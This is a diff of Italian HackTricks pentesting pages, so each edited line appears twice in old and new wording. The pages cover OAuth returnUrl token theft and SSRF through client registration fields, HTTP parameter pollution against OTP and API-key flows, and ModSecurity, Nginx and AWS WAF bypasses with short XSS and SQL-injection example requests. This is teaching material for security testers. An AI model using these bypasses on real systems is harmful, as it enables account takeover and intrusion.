Secondo **questo articolo**, era possibile far aprire a una vittima una pagina con un **returnUrl** che puntava all'host dell'attaccante. Queste informazioni sarebbero **memorizzate in un cookie (RU)** e in un **passaggio successivo** il **prompt** chiederà all'**utente** se desidera concedere l'accesso a quell'host dell'attaccante.
|
||||
|
||||
Per eludere questo prompt, era possibile aprire una scheda per avviare il **flusso OAuth** che imposterebbe questo cookie RU utilizzando il **returnUrl**, chiudere la scheda prima che venga mostrato il prompt e aprire una nuova scheda senza quel valore. Quindi, il **prompt non informerà sull'host dell'attaccante**, ma il cookie sarà impostato su di esso, quindi il **token verrà inviato all'host dell'attaccante** nella reindirizzamento.
|
||||
Per eludere questo prompt, era possibile aprire una scheda per avviare il **flusso OAuth** che imposterebbe questo cookie RU utilizzando il **returnUrl**, chiudere la scheda prima che venga mostrato il prompt e aprire una nuova scheda senza quel valore. Quindi, il **prompt non informerà sull'host dell'attaccante**, ma il cookie sarà impostato su di esso, quindi il **token verrà inviato all'host dell'attaccante** nel reindirizzamento.
|
||||
|
||||
### Parametri SSRF <a href="#bda5" id="bda5"></a>
|
||||
|
||||
**[Controlla questa ricerca](https://portswigger.net/research/hidden-oauth-attack-vectors) per ulteriori dettagli su questa tecnica.**
|
||||
|
||||
La registrazione dinamica del client in OAuth funge da vettore meno ovvio ma critico per le vulnerabilità di sicurezza, in particolare per gli attacchi di **Server-Side Request Forgery (SSRF)**. Questo endpoint consente ai server OAuth di ricevere dettagli sulle applicazioni client, inclusi URL sensibili che potrebbero essere sfruttati.
|
||||
La Registrazione Client Dinamica in OAuth funge da vettore di vulnerabilità di sicurezza meno ovvio ma critico, specificamente per gli attacchi **Server-Side Request Forgery (SSRF)**. Questo endpoint consente ai server OAuth di ricevere dettagli sulle applicazioni client, inclusi URL sensibili che potrebbero essere sfruttati.
|
||||
|
||||
**Punti chiave:**
|
||||
|
||||
- La **registrazione dinamica del client** è spesso mappata su `/register` e accetta dettagli come `client_name`, `client_secret`, `redirect_uris` e URL per loghi o set di chiavi JSON (JWKs) tramite richieste POST.
|
||||
- Questa funzionalità aderisce alle specifiche descritte in **RFC7591** e **OpenID Connect Registration 1.0**, che includono parametri potenzialmente vulnerabili a SSRF.
|
||||
- La **Registrazione Client Dinamica** è spesso mappata su `/register` e accetta dettagli come `client_name`, `client_secret`, `redirect_uris` e URL per loghi o set di chiavi JSON Web (JWKs) tramite richieste POST.
|
||||
- Questa funzionalità aderisce alle specifiche delineate in **RFC7591** e **OpenID Connect Registration 1.0**, che includono parametri potenzialmente vulnerabili a SSRF.
|
||||
- Il processo di registrazione può esporre involontariamente i server a SSRF in diversi modi:
|
||||
- **`logo_uri`**: un URL per il logo dell'applicazione client che potrebbe essere recuperato dal server, innescando SSRF o portando a XSS se l'URL viene gestito in modo errato.
|
||||
- **`jwks_uri`**: un URL per il documento JWK del client, che se creato male può indurre il server a effettuare richieste in uscita verso un server controllato dall'attaccante.
|
||||
- **`sector_identifier_uri`**: fa riferimento a un array JSON di `redirect_uris`, che il server potrebbe recuperare, creando un'opportunità di SSRF.
|
||||
- **`request_uris`**: elenca gli URI di richiesta consentiti per il client, che possono essere sfruttati se il server recupera questi URI all'inizio del processo di autorizzazione.
|
||||
- **`logo_uri`**: Un URL per il logo dell'applicazione client che potrebbe essere recuperato dal server, innescando SSRF o portando a XSS se l'URL non viene gestito correttamente.
|
||||
- **`jwks_uri`**: Un URL al documento JWK del client, che se creato malevolmente, può far sì che il server effettui richieste in uscita a un server controllato dall'attaccante.
|
||||
- **`sector_identifier_uri`**: Fa riferimento a un array JSON di `redirect_uris`, che il server potrebbe recuperare, creando un'opportunità di SSRF.
|
||||
- **`request_uris`**: Elenca gli URI di richiesta consentiti per il client, che possono essere sfruttati se il server recupera questi URI all'inizio del processo di autorizzazione.
|
||||
|
||||
**Strategia di sfruttamento:**
|
||||
|
||||
- L'SSRF può essere innescato registrando un nuovo client con URL dannosi nei parametri come `logo_uri`, `jwks_uri` o `sector_identifier_uri`.
|
||||
- Sebbene lo sfruttamento diretto tramite `request_uris` possa essere mitigato da controlli di whitelist, fornire un `request_uri` pre-registrato controllato dall'attaccante può facilitare l'SSRF durante la fase di autorizzazione.
|
||||
- SSRF può essere innescato registrando un nuovo client con URL dannosi nei parametri come `logo_uri`, `jwks_uri` o `sector_identifier_uri`.
|
||||
- Sebbene lo sfruttamento diretto tramite `request_uris` possa essere mitigato da controlli di whitelist, fornire un `request_uri` pre-registrato e controllato dall'attaccante può facilitare SSRF durante la fase di autorizzazione.
|
||||
|
||||
## Race Conditions nei provider OAuth
|
||||
## Condizioni di gara dei fornitori OAuth
|
||||
|
||||
Se la piattaforma che stai testando è un provider OAuth, [**leggi questo per testare possibili Race Conditions**](race-condition.md).
|
||||
Se la piattaforma che stai testando è un fornitore OAuth, [**leggi questo per testare possibili condizioni di gara**](race-condition.md).
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repos.**
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,80 +1,90 @@
|
|||
# Inquinamento dei parametri
|
||||
# Inquinamento dei Parametri
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
# Panoramica dell'Inquinamento dei Parametri HTTP (HPP)
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per modificare il comportamento di un'applicazione web in modi non intenzionali. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. Gli effetti di queste manipolazioni non sono direttamente visibili all'utente, ma possono alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Panoramica sull'Inquinamento dei Parametri HTTP (HPP)
|
||||
|
||||
L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per modificare il comportamento di un'applicazione web in modi non intenzionali. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
|
||||
|
||||
## Esempio di Inquinamento dei Parametri HTTP (HPP)
|
||||
|
||||
Un URL di transazione di un'applicazione bancaria:
|
||||
Un URL di transazione dell'applicazione bancaria:
|
||||
|
||||
- **URL originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
- **URL Originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
Inserendo un parametro `from` aggiuntivo:
|
||||
|
||||
- **URL manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
- **URL Manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, mostrando il potenziale dell'HPP nel manipolare transazioni o altre funzionalità come il reset della password, le impostazioni di autenticazione a due fattori o le richieste di chiave API.
|
||||
La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, mostrando il potenziale dell'HPP nel manipolare transazioni o altre funzionalità come reset delle password, impostazioni 2FA o richieste di chiavi API.
|
||||
|
||||
### Analisi dei Parametri Specifici della Tecnologia
|
||||
### **Analisi dei Parametri Specifici della Tecnologia**
|
||||
|
||||
- Il modo in cui i parametri vengono analizzati e prioritizzati dipende dalla tecnologia web sottostante, influenzando la possibilità di sfruttare l'HPP.
|
||||
- Il modo in cui i parametri vengono analizzati e prioritizzati dipende dalla tecnologia web sottostante, influenzando come HPP può essere sfruttato.
|
||||
- Strumenti come [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aiutano a identificare queste tecnologie e i loro comportamenti di analisi.
|
||||
|
||||
## Sfruttamento di PHP e HPP
|
||||
|
||||
**Caso di Manipolazione OTP:**
|
||||
|
||||
- **Contesto:** Un meccanismo di accesso che richiede una One-Time Password (OTP) è stato sfruttato.
|
||||
- **Contesto:** Un meccanismo di accesso che richiede un One-Time Password (OTP) è stato sfruttato.
|
||||
- **Metodo:** Intercettando la richiesta OTP utilizzando strumenti come Burp Suite, gli attaccanti hanno duplicato il parametro `email` nella richiesta HTTP.
|
||||
- **Risultato:** L'OTP, destinato all'email iniziale, è invece stato inviato al secondo indirizzo email specificato nella richiesta manipolata. Questa falla ha consentito l'accesso non autorizzato aggirando la misura di sicurezza prevista.
|
||||
- **Risultato:** L'OTP, destinato all'email iniziale, è invece stato inviato all'indirizzo email secondario specificato nella richiesta manipolata. Questa falla ha permesso l'accesso non autorizzato aggirando la misura di sicurezza prevista.
|
||||
|
||||
Questo scenario evidenzia una grave mancanza nell'infrastruttura dell'applicazione, che ha elaborato il primo parametro `email` per la generazione dell'OTP ma ha utilizzato l'ultimo per la consegna.
|
||||
|
||||
**Caso di Manipolazione della Chiave API:**
|
||||
|
||||
- **Scenario:** Un'applicazione consente agli utenti di aggiornare la propria chiave API tramite una pagina delle impostazioni del profilo.
|
||||
- **Vettore di attacco:** Un attaccante scopre che aggiungendo un parametro `api_key` aggiuntivo alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
|
||||
- **Tecnica:** Utilizzando uno strumento come Burp Suite, l'attaccante crea una richiesta che include due parametri `api_key`: uno legittimo e uno malevolo. Il server, elaborando solo l'ultima occorrenza, aggiorna la chiave API al valore fornito dall'attaccante.
|
||||
- **Scenario:** Un'applicazione consente agli utenti di aggiornare la propria chiave API attraverso una pagina delle impostazioni del profilo.
|
||||
- **Vettore di Attacco:** Un attaccante scopre che aggiungendo un parametro `api_key` aggiuntivo alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
|
||||
- **Tecnica:** Utilizzando uno strumento come Burp Suite, l'attaccante crea una richiesta che include due parametri `api_key`: uno legittimo e uno maligno. Il server, elaborando solo l'ultima occorrenza, aggiorna la chiave API al valore fornito dall'attaccante.
|
||||
- **Risultato:** L'attaccante ottiene il controllo sulla funzionalità API della vittima, potenzialmente accedendo o modificando dati privati in modo non autorizzato.
|
||||
|
||||
Questo esempio sottolinea ulteriormente la necessità di una gestione sicura dei parametri, soprattutto in funzionalità critiche come la gestione delle chiavi API.
|
||||
Questo esempio sottolinea ulteriormente la necessità di gestire in modo sicuro i parametri, specialmente in funzionalità critiche come la gestione delle chiavi API.
|
||||
|
||||
## Analisi dei Parametri: Flask vs PHP
|
||||
## Analisi dei Parametri: Flask vs. PHP
|
||||
|
||||
Il modo in cui le tecnologie web gestiscono i parametri HTTP duplicati varia, influenzando la loro suscettibilità agli attacchi HPP:
|
||||
|
||||
- **Flask:** Adotta il valore del primo parametro incontrato, ad esempio `a=1` in una stringa di query `a=1&a=2`, dando priorità all'istanza iniziale rispetto ai duplicati successivi.
|
||||
- **PHP (su Apache HTTP Server):** Al contrario, dà priorità all'ultimo valore del parametro, optando per `a=2` nell'esempio dato. Questo comportamento può facilitare involontariamente gli attacchi HPP, onorando il parametro manipolato dell'attaccante rispetto all'originale.
|
||||
- **Flask:** Adotta il valore del primo parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, dando priorità all'istanza iniziale rispetto ai duplicati successivi.
|
||||
- **PHP (su Apache HTTP Server):** Al contrario, dà priorità all'ultimo valore del parametro, optando per `a=2` nell'esempio dato. Questo comportamento può agevolare involontariamente gli exploit HPP onorando il parametro manipolato dell'attaccante rispetto all'originale.
|
||||
|
||||
## Riferimenti
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,11 +10,15 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Bypass delle Regole ACL di Nginx con Manipolazione del Percorso <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Bypass delle Regole ACL di Nginx con la Manipolazione del Percorso <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
Tecniche [da questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
|
@ -79,24 +83,24 @@ location ~* ^/admin {
|
|||
deny all;
|
||||
}
|
||||
```
|
||||
## Eludere le Regole di Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Ignorare le regole di Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Confusione del Percorso
|
||||
### Confusione del percorso
|
||||
|
||||
[**In questo post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) viene spiegato che ModSecurity v3 (fino alla versione 3.0.12), **ha implementato in modo improprio la variabile `REQUEST_FILENAME`** che avrebbe dovuto contenere il percorso accesso (fino all'inizio dei parametri). Questo perché eseguiva un URL decode per ottenere il percorso.\
|
||||
[**In questo post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) viene spiegato che ModSecurity v3 (fino alla versione 3.0.12) **ha implementato in modo improprio la variabile `REQUEST_FILENAME`** che avrebbe dovuto contenere il percorso accesso (fino all'inizio dei parametri). Questo perché eseguiva un URL decode per ottenere il percorso.\
|
||||
Pertanto, una richiesta come `http://example.com/foo%3f';alert(1);foo=` in ModSecurity supporrà che il percorso sia solo `/foo` perché `%3f` viene trasformato in `?` terminando il percorso dell'URL, ma in realtà il percorso che il server riceverà sarà `/foo%3f';alert(1);foo=`.
|
||||
|
||||
Anche le variabili `REQUEST_BASENAME` e `PATH_INFO` sono state interessate da questo bug.
|
||||
|
||||
Qualcosa di simile è accaduto nella versione 2 di Mod Security che ha permesso di eludere una protezione che impediva agli utenti di accedere a file con estensioni specifiche relative ai file di backup (come ad esempio `.bak`) semplicemente inviando il punto URL codificato in `%2e`, ad esempio: `https://example.com/backup%2ebak`.
|
||||
Qualcosa di simile è accaduto nella versione 2 di Mod Security che ha permesso di ignorare una protezione che impediva agli utenti di accedere a file con estensioni specifiche relative ai file di backup (come ad esempio `.bak`) semplicemente inviando il punto URL codificato in `%2e`, ad esempio: `https://example.com/backup%2ebak`.
|
||||
|
||||
## Eludere AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Ignorare AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Intestazione Malformata
|
||||
### Intestazione malformata
|
||||
|
||||
[Questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menziona che era possibile eludere le regole di AWS WAF applicate alle intestazioni HTTP inviando un'intestazione "malformata" che non veniva correttamente analizzata da AWS ma lo era dal server backend.
|
||||
[Questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menziona che era possibile ignorare le regole di AWS WAF applicate sugli header HTTP inviando un header "malformato" che non veniva correttamente analizzato da AWS ma sì dal server backend.
|
||||
|
||||
Ad esempio, inviando la seguente richiesta con un'iniezione SQL nell'intestazione X-Query:
|
||||
Ad esempio, inviando la seguente richiesta con un'iniezione SQL nell'header X-Query:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
|
@ -110,7 +114,12 @@ Era possibile aggirare AWS WAF perché non capiva che la riga successiva faceva
|
|||
## Riferimenti
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -120,8 +129,8 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,17 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# BlueTeam
|
||||
|
||||
|
@ -49,61 +53,61 @@ Altri modi per supportare HackTricks:
|
|||
* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
|
||||
* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
|
||||
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
|
||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Forza bruta dei nomi di dominio in modo asincrono
|
||||
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Forza bruta dei sottodomini
|
||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Verifica se i server web in un dominio sono accessibili
|
||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Forza bruta sui nomi di dominio in modo asincrono
|
||||
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Forza bruta sui sottodomini
|
||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Controlla se i server web in un dominio sono accessibili
|
||||
